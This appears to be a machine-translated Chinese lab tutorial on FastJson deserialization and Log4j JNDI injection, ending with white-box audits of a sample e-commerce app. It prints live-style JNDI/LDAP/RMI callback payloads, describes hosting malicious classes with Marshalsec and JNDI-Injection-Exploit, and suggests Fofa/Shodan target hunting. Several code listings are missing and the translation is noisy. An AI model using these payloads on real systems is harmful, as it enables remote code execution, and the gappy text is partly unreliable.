主意:
Fofa,Shodan关键词搜索Log4j,根据返回的包中是否包含Log4j相关信息、页面错误信息等判断对方是否指的是Log4j。通过传递DNSLog 来测试是否有反向连接。例如,按如下方式构建POC:使用${jndi:ldap://xxx.dns .log} 测试注入点
0x04 Java-第三方组件-FastJson反射
1.FastJson概述
前端和后端之间传输数据时,经常会进行字符串、json、XML等的相互转换和解析,其中,json由于其交叉访问的好处,在开发中经常被使用。它用于语言之间、前端之间以及前端之间,基本上是一种标准的数据交换格式。其界面简单易用,广泛应用于缓存序列化、协议交互、Web输出等各种应用场景。 FastJson是阿里巴巴的一个开源库,用于解析和打包JSON格式的数据。
Java其实有原生的Json数据格式转换功能,但FastJson速度更快、效率更高,因此被广泛使用。
简单来说,FastJson是阿里巴巴开发的一个用于Json数据格式转换的Java第三方组件。
过往漏洞:https://avd.aliyun.com/search?q=fastjson
2.简单测试FastJson
另外,首先引用FastJson 组件(我使用的是1.2.24 版本)。
依赖
groupIdcom.alibaba/群组ID
artifactIdfastjson/artifactId
版本1.2.24/版本
/依赖
创建User类来测试FastJson数据格式转换
创建FastjsonTest 并使用FastJson 处理User 类的数据转换。
当你运行main 函数时,IDEA 控制台输出如下所示:
您可以看到类名称是使用JSONObject.toJSONString 的SerializerFeature.WriteClassName 参数添加到前面的。这也是漏洞利用的关键点(@type)。
在上面的JSON – Object 代码中,将JSON 格式的字符串转换为对象的过程本质上是一个反序列化过程。
String test=\'{\\\’@type\\\’:\\\’com.example.FastjsonDemo.User\\\’,\\\’年龄\\\’:23,\\\’姓名\\\’:\\\’ch4ser\\\’}\’;
反序列化的是User 类。请尝试想象一下。如果在com.example.FastjsonDemo 路径下创建一个新类Run,代码将如下所示:
并将“@type”:“com.example.FastjsonDemo.Run”更改为:
String test=\'{\\\’@type\\\’:\\\’com.example.FastjsonDemo.Run\\\’,\\\’年龄\\\’:23,\\\’姓名\\\’:\\\’ch4ser\\\’}\’;
然后,当你重新运行main函数时,它会反序列化Run类,触发Run类的无参数构造函数Run(),最后弹出计算器。
但问题来了。我为固定调用创建了一个新类作为测试,但是我将如何在真正的战斗中使用它?
3. 测试javax.naming.InitialContext.lookup() 方法。
在我们了解它在实战中是如何工作之前,我们需要先介绍一下javax.naming.InitialContext.lookup()方法。
这意味着如果Java想要调用某个特定的类,可以使用InitialContext类的lookup方法来实现调用(使用RMI、LDAP等远程调用)。从安全角度来看,该方法专门用于JNDI注入。
创建JndiDemo来测试查找方法。这是代码:
上面使用了JNDI-Injection-Exploit工具。在实际测试中,我们发现计算器在LDAP中可以弹出,但在RMI中却无法弹出。
重新引入该工具:Marshalsec。它与JNDI-Injection-Exploit 工具的不同之处在于它具有一些内置函数来解决这些限制。
要使用这个工具,你需要自己创建一个类,将其编译成类文件,并将其放在你的Marshalsec 服务器(即我的Kali)的网站目录中。
在IDEA Terminal 中将Run 类编译为类文件,并将其放置在您的Kali 网站目录中(默认/var/www/html)。
修改JndiDemo测试代码。
当我启动Marshalsec工具并运行main函数时,我看到服务器已收到请求,但Win11上没有弹出计算器。我问了群里的老大,他说可能是工具有问题,我想使用小迪的时候也有问题。
4. Fastjson漏洞重现
下面是使用Fastjson 组件模拟网站的前端代码:
后端的代码是:
查看互联网上其他人如何使用Fastjson。有效负载为:
有效负载1:
{
\’@type\’:\’java.lang.Class\’,
\’val\’:\’com.sun.rowset.JdbcRowSetImpl\’
}
有效负载2:
{
\’@type\’:\’com.sun.rowset.JdbcRowSetImpl\’,
\’dataSourceName\’:\’rmi://dnslog.cn地址/zcc\’,
“自动提交”:true
}
启动JNDI-Injection-Exploit工具,构建并输入payload,成功弹出计算器。
我们回到上一个问题。在实战中,你无法自己创建恶意类的固定调用。那么这里我们如何实现调用呢?
原因是上面有效负载中指定的com.sun.rowset.JdbcRowSetImpl 类调用了InitialContext.lookup() 方法。
Java中还有其他类调用InitialContext.lookup()方法,例如:
1. 在RMI服务上调用InitialContext.lookup()的类是:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(StringsfJNDIName)
2. 在LDAP服务上调用InitialContext.lookup()的类是:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
将项目的JDK版本从1.8.0_131更改为17.0.2后,发现原来的payload还在,虽然能成功接收数据,但计算器不玩。
这是由于官方对各个JDK版本的一些限制。这意味着更高版本的JDK 通过以下方式影响JNDI 注入(RMI、LDAP):
JDK 6u45 和7u21 及更高版本:
java.rmi.server.useCodebaseOnly 的默认值设置为true。如果该值为真,
禁用远程类文件的自动加载,仅从CLASSPATH 中指定的路径和当前JVM 的java.rmi.server.codebase 加载类文件。
使用此属性可防止客户端VM 从其他代码库地址动态加载类,从而提高RMI 类加载器的安全性。
JDK 6u141、7u131、8u121 及更高版本:
添加了com.sun.jndi.rmi.object.trustURLCodebase 选项。默认值为false,这会阻止将远程代码库选项与RMI 和CORBA 协议一起使用。
因此,虽然RMI和CORBA在上述JDK版本中不再能够触发该漏洞,但可以通过将URI指定为LDAP协议来执行JNDI注入攻击。
JDK 6u211、7u201、8u191 及更高版本:
添加了com.sun.jndi.ldap.object.trustURLCodebase 选项。默认为false。
禁用LDAP 协议使用远程代码库的选项也会禁用LDAP 协议攻击向量。
0x05 白盒审计 – FastJson
迷你天猫商城:基于Spring Boot的综合B2C电商平台。需求设计主要是指天猫商城的购物流程。用户从注册开始,完成登录、浏览产品、添加购物车、下订单、确认。接收产品、对其进行评估并执行一系列任务。 天猫数据管理后台作为迷你天猫商城的核心组件之一,包括商品管理、订单管理、品类管理、用户管理、交易量统计等模块,为整个商城提供一站式管理和维护。
搭建项目环境:首先配置Git,然后点击Clean安装Maven,配置数据库连接信息,最后开始使用。
审核流程:
直接全局搜索JSON.parse或者JSON.parseObject,看到有四个地方使用了JSON.parseObject。这说明使用了FastJson组件,并且使用了关联的反序列化漏洞函数。
如果您跟踪传入参数值propertyJson,您将看到该值是产品属性JSON 数据。通过@RequestMapping路由我们还可以看出,该功能点很可能是后端管理员添加产品以及反序列化对象的接口。产品信息
在pom.xml中搜索fastjson,确保项目中使用的FastJson版本为1.2.58。检查漏洞库,确认该版本存在漏洞。
如果你登录后端,测试添加产品,并使用BurpSuite抓包,你会看到propertyJson值确实被传递了。所以下一步就是直接构建有效负载来重现。
构建有效负载并测试出站回显调用访问:(此处的DNSLog 地址由Yakit 生成)
{\’@type\’:\’java.net.Inet4Address\’,\’val\’:\’ldap://192.168.139.1:1389/eg5vto\’}
修改包裹并发货后,我能够确认Yakit 端的连接并能够退出网络。
0x06 白盒审计 – Log4j
同样,首先全局搜索logger.info或logger.error。搜索结果有很多,但只有那些变量可控的。
追踪一下,会发现路由地址是admin/uploadAdminHeadImage,变量originalFileName的值为检索到的上传头像的文件名,功能点应该是后台admin的头像上传接口。
在pom.xml中搜索log4j,确保项目中使用的Log4j版本为2.10.0。检查漏洞库,确认该版本存在漏洞。
如果你登录后端,测试管理员头像上传,并使用BurpSuite抓包,你会看到路径实际上是admin/uploadAdminHeadImage。因此下一步是直接构建有效负载并传递文件名值。
构建有效负载并测试出站回显呼叫访问:(我在使用Yakit 时遇到问题,请使用DNSLog.cn)
${jndi:ldap://endjri.dnslog.cn}
修改并提交包后,可以在DNSLog.cn中看到连接,看到可以上网了。
尝试使用JNDI-Injection-Exploit 显示弹出计算器(此处的JDK 版本是8u131)
写在最后
最后,我想重申一下,学习不是攀登陡峭的山峰,而是滴水穿石,日积月累。持续学习变得越来越困难,尤其是当你进入职场后。就像在茫茫大海上独自划船,稍有放松警惕,就会被大浪卷走。但对于我们程序员来说,学习是生存的基础,是在激烈的市场竞争中立于不败之地的关键。如果我们停止学习,我们就像逆水行舟;如果我们不前进,我们最终会被时间的洪流淘汰。因此,不断获取新的知识不仅提高了自己,也是对自己的一次有价值的投资。让我们不断完善自我,与时俱进,谱写辉煌篇章。
如果您想要完整版PDF学习资源,请私信我们。
#JNDI注入&FastJson;白盒审计&NoEcho 以上相关内容,来源网络仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92094.html